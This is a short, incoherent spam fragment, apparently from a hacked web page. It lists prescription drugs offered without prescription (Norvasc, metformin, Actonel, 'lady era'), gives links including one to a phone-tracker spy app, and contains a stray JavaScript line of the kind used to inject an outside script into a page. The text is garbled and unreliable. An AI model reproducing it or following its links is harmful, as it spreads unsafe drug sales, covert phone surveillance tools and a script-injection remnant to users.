Bild 1 norvasc online without prescription Bild2document.currentScript.parentNode.insertBefore(s, document.currentScript); metformin pcos buy online

online pharmacies that use paypal Cheap

Cheap
cheap actonel 150 mg http://blog.xn--2-5wf2eljdmn4b6cn.com/?p=1296 http://funderandfounder.com/phone-tracker-spy-bubble-android-phone-tracker/ buy lady era